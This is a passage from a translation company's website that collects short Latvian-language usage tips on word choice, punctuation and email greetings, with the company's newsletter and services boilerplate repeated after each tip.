lietošanu saskaras studenti, pētnieki, zinātnieki, arī digitālajā tirgvedībā nodarbinātie. Stabilas vārdkopas, arī mūsu aplūkotā, laika gaitā tiecas saplūst saliktenī un tā noticis arī ar vārdkopu ‘atslēgas vārds’. Abi varianti valodas praksē funkcionē līdzās, un Skrivanek iesaka: varat lietot to variantu, kas acij un ausij tīkamāks, vienīgais noteikums – ja izmantojat savā rakstu darbā vienu no variantiem, tad pasekojiet, lai visā tekstā ir ievērota konsekvence – ja ‘atslēgvārds’, tad visā tekstā. Ja ‘atslēgas vārdi’ – tad arī raksta pēdējā lappusē jābūt variantam ‘atslēgas vārdi’. Tātad teiksim: Tagad tik jāuzraksta ievads un jākonkretizē atslēgas vārdi? Bet varam teikt arī: Tagad tik jāuzraksta ievads un jākonkretizē atslēgvārdi? Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kurš ir pareizi - slēdziens vai secinājums? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi. - Published: 2024-04-18 - Modified: 2024-08-14 - URL: https://skrivanek.lv/sledziens-vai-secinajums/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SLĒDZIENS VAI SECINĀJUMS 1 Kā ir pareizi? Vārdu “slēdziens” latviešu valodā ir ierasts lietot tāpat kā krievu “заключение”. Mūsdienu latviešu literārajā valodā abus lietvārdus vairs nešķir, un viena vai otra vārda lietojumā ierobežojumu nav. Tāpat pieņemami ir arī vārdi “atzinums” un “spriedums” ar tādu pašu nozīmi. Tātad secinājums ir šāds – lietosim gan “secinājums”, gan “slēdziens”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties šeit, lai uzzinātu pareizo atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-04-18 - Modified: 2025-03-12 - URL: https://skrivanek.lv/man-ir-tas-gods-vai-man-ir-gods/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MAN IR TAS GODS VAI MAN IR GODS? 1 Kā ir pareizi? Uzrunu svinīgos brīžos netrūkst, un aicinājums teikt runu ir liels pagodinājums katram no mums. Nereti dzirdam uzrunas sākamies ar “Man ir tas gods... ” Tomēr šai gadījumā vietniekvārds “tas” uzrunā ir nevajadzīgs un rada liekvārdību. Tādēļ stilistiski pareizi būtu uzrunāt klausītājus ar “Man ir gods... ”Tātad teiksim “Man ir gods būt šeit un jūs visus sveikt šai notikumā! ’’Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai šeit pirms vietniekvārda "kas” ir jāliek komats? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi vienuviet! - Published: 2024-04-18 - Modified: 2025-03-24 - URL: https://skrivanek.lv/tas-ir-kas-jauks-vai-tas-ir-kas-jauks/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TAS IR KAS JAUKS VAI TAS IR, KAS JAUKS 1 Kā ir pareizi? Pirms vietniekvārdiem “kas”, “ko”, tiem atdalot teikuma daļas vai paskaidrojot kādu no iepriekšējiem vārdiem, komatu liekam teju vai automātiski. Taču tādos teikumos kā “Tas ir kas jauks” vai “Kā gribas ko garšīgu! ” vienkārši ir izlaista partikula “kaut”. Tāpat kā mēs rakstītu “Tas ir kaut kas jauks” vai “Kā gribas kaut ko garšīgu! ”, komats nav jāliek. Tātad rakstīsim – “Tas ir kas jauks” un “Kā gribas ko garšīgu! ”Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kad lieto “attiecībā uz” un, kad "par"? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-04-18 - Modified: 2024-10-23 - URL: https://skrivanek.lv/attieciba-uz-vai-par/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ATTIECĪBĀ UZ VAI PAR 1 Attiecībā uz jaunā dzelzceļa būvniecību vai par jaunā dzelzceļa būvniecību? “Attiecībā uz” mēdz lietot, saistot kādas parādības, norādot, uz ko paskaidrojošā darbība ir vērsta. Taču šis ir klasisks liekvārdības piemērs, jo garo vārdu savienojumu “attiecībā uz” latviešu valodā tikpat labi var izteikt ar īso un labskanīgo “par”. Tātad teiksim – Līdz šim dzirdētais par jaunā dzelzceļa būvniecību vieš cerības nākotnei. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Probiotikas, prebiotikas un postbiotikas - kāda ir atšķirīa? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet. - Published: 2024-04-18 - Modified: 2024-04-18 - URL: https://skrivanek.lv/probiotikas-vai-prebiotikas/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PROBIOTIKAS VAI PREBIOTIKAS 1 Kā būs pareizi? Runājot par zarnu trakta veselību, bieži min terminus probiotikas, prebiotikas un pat postbiotikas. Probiotikas ir dzīvi mikroorganismi, kurus uzņemot pietiekamā daudzumā, tie sniedz labumu organismam. Tādi ir, piemēram, pienskābo baktēriju vai rauga sēnītes preparāti, ko pērkam aptiekā, kā arī baktērijas, kas atrodamas fermentētos produktos kā skābos kāpostos vai jogurtā. Savukārt prebiotikas ir savienojumi, kas organismā nesagremojas, bet veicina cilvēkam labvēlīgo baktēriju vairošanos zarnās. Tie ir ogļhidrātiem līdzīgi savienojumi (fruktāni, oligosaharīdi, inulīni un citi), kas bagātīgi atrodami graudos, augļos un dārzeņos. Tātad, lai uzturētu gremošanas trakta veselību, ēdīsim prebiotikām bagātos dārzeņus un stiprināsim mikrofloru ar probiotikām bagātu jogurtu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Koristi pasniedza nošu mapes viens otram – varbūt cits citam? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi. - Published: 2024-04-18 - Modified: 2024-08-29 - URL: https://skrivanek.lv/viens-otram-vai-cits-citam/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VIENS OTRAM VAI CITS CITAM 1 Koristi pasniedza nošu mapes viens otram – varbūt cits citam? Kā minēts tēzaurā, vārda “otrs” nozīme ir “viens no diviem”. To lieto arī, lai norādītu secību: “Dejotāji sastājas rindā viens aiz otra. ” Viens otram kaut ko var pasniegt pāris vai varbūt rindā stāvoši cilvēki, kas pa šo rindu pārvieto konkrēto priekšmetu. Tiklīdz mijiedarbojas cilvēku grupa, tā viņi dod dāvanas, saka siltus vārdus, māj sveicienus cits citam. Tātad, ja koristi bija divi, viņi deva nošu mapes viens otram. Ja ar mapēm dalījās viss koris, viņi tās pasniedza cits citam. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Sasparojušies strādnieki beidzot uzsāka darbu vai sāka darbu? Ieskaties, lai uzzinātu pareizo atbildi! Šis un daudzi citi valodas padomi! - Published: 2024-04-18 - Modified: 2024-12-02 - URL: https://skrivanek.lv/sakt-darbu-vai-uzsakt-darbu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SĀKT DARBU VAI UZSĀKT DARBU 1 Sasparojušies strādnieki beidzot uzsāka darbu vai sāka darbu? Varbūt esat pamanījuši, ka rakstot mēs ļoti bieži mēdzam kaut ko uzsākt – “uzsākt jaunu darbu”, “uzsākt studijas”, tomēr vērts atcerēties, ka latviešu valodā tradicionāli ir sākums, iesākums, aizsākums un pasākums. Tikmēr kaimiņvalsts valodā sākt ir начать (“на” – latviski “uz”). “Uzsākt” ar gadiem ir manāmi izspiedis no lietošanas visus citus sākšanas vārdus. Tāpēc atcerēsimies, ka joprojām varam sākt jaunu darbu vai studijas, iesākt dziesmu, pasākt kaut ko jēdzīgu, aizsākt tradīciju. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Pēc nozīmes ir šķiramas trīs “veltās izteiksmes”: ne velti, ne par velti, ne veltīgi. Kāda ir atšķirība? Uzzini atbildi šeit! - Published: 2024-04-18 - Modified: 2024-04-18 - URL: https://skrivanek.lv/ne-velti-pret-ne-par-velti-pret-ne-veltigi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NE VELTI PRET NE PAR VELTI PRET NE VELTĪGI 1 Ne par velti jaunais darbinieks tā cenšas izcelties! Skaidrs, ka par velti ne! Kaut ko taču viņam maksā. Pēc nozīmes ir šķiramas trīs “veltās izteiksmes”: ne velti, ne par velti, ne veltīgi. Ne velti – ne jau bez iemesla. Ne par velti – ne jau bez samaksas. Ne veltīgi – ne jau bez rezultāta. Tāpēc padomāsim, vai, piemēram, mēs Latviju mīlam ne velti (jo tā ir tik skaista), ne par velti (jo tas ir izdevīgi) vai ne veltīgi (jo arī mātei Latvijai visi bērni mīļi). Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Rētas vai brūces - kāda ir atšķirība? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-04-18 - Modified: 2024-04-18 - URL: https://skrivanek.lv/retas-vai-bruces/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional RĒTAS VAI BRŪCES 1 Glābēji atrada no klints nokritušo tūristu: viņam bija lauzta roka, kā arī daudzas rētas. Vai arī brūces? Mēģināsim noskaidrot, kā ir pareizi? Medicīniski rētas ir sadzijuši savainojumi, kuru vietā izveidojušies rētaudi. Savukārt brūce ir sulojošs vai asiņojošs audu savainojums. Vai patiesi meklētais tūrists klints pakājē gulējis tik ilgi, ka brūces paguvušas sarētoties? Noteikti nē! Tāpēc atcerēsimies: tikko iegūti ievainojumi ir brūces, bet miesā redzamas zīmes par senu ievainojumu – rētas. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai valodu nosaukumus raksta ar lielo vai mazo sākumburtu? Uzzini pareizo atbildi šeit! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-03-25 - Modified: 2024-10-23 - URL: https://skrivanek.lv/latviesu-valoda/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LATVIEŠU VALODA 1 Kā būs pareizi – “ikdienā rakstām latviešu valodā” vai “ikdienā rakstām Latviešu valodā”? Lai arī sociālajos tīklos arvien biežāk manāma valodu nosaukumu rakstība ar lielo sākuma burtu – Latviešu, Angļu, Vācu valoda, šis ir tiešs aizguvums no angļu valodas, kurā valodu nosaukumus nudien raksta ar lielo burtu. Savukārt latviešu valodā valodu nosaukumus vienmēr raksta ar mazo burtu. Tāpēc rakstīsim – “Tulkojam no latviešu valodas uz angļu, krievu, vācu un pat amhariešu valodu”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai pēc atvadu frāzes "jauku dienu vēlot" vai "ar sveicieniem" ir liekams komats? Šis un citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-03-25 - Modified: 2024-11-25 - URL: https://skrivanek.lv/jauku-dienu-velot-vai-jauku-dienu-velot-vai-ar-sveicieniem-vai-ar-sveicieniem/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional “JAUKU DIENU VĒLOT” VAI “JAUKU DIENU VĒLOT,” VAI “AR SVEICIENIEM” VAI “AR SVEICIENIEM,” 1 Kā atsveicināties e-pastā? “Jauku dienu vēlot” vai “Jauku dienu vēlot,” vai “Ar sveicieniem” vai “Ar sveicieniem,”? Kā atsveicināties e-pastā? E-pastu sarakstēs ierasts atvadīšanos no adresāta ievietot ziņas parakstā. Lai arī paraksts parasti ir jaunā rindā, uz to attiecas tie paši gramatikas likumi, kas uz jebkuru citu teikumu. “Jauku dienu vēlot” teikumā kalpo kā divdabja teiciens, tāpēc arī e-pastā tas būs jāatdala ar komatu. Savukārt “Ar sveicieniem”, tāpat kā “Ar cieņu” vai “Cieņā” ar komatiem neatdala, jo tam nav gramatiska pamatojuma. Tāpēc teiksim – “Jauku dienu vēlot, Skrivanek” un “Ar sveicieniem Skrivanek komanda”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi rakstīt uzrunu e-pastos? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet, ieskaties un uzzini pareizo atbildi! - Published: 2024-03-25 - Modified: 2024-06-11 - URL: https://skrivanek.lv/labdien-agij-vai-labdien-agija-vai-labdien-agij/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional “LABDIEN, AGIJ” VAI “LABDIEN, AGIJA” VAI “LABDIEN, AGIJ! ” 1 Kā pareizi rakstīt uzrunu e-pastos? Kā pareizi rakstīt uzrunu e-pastos? Uzrunu latviešu valodā raksta vokatīvā un no pārējās teikuma daļas atdala ar komatiem un izsaukuma zīmi. Lai arī reizēm intuitīvi 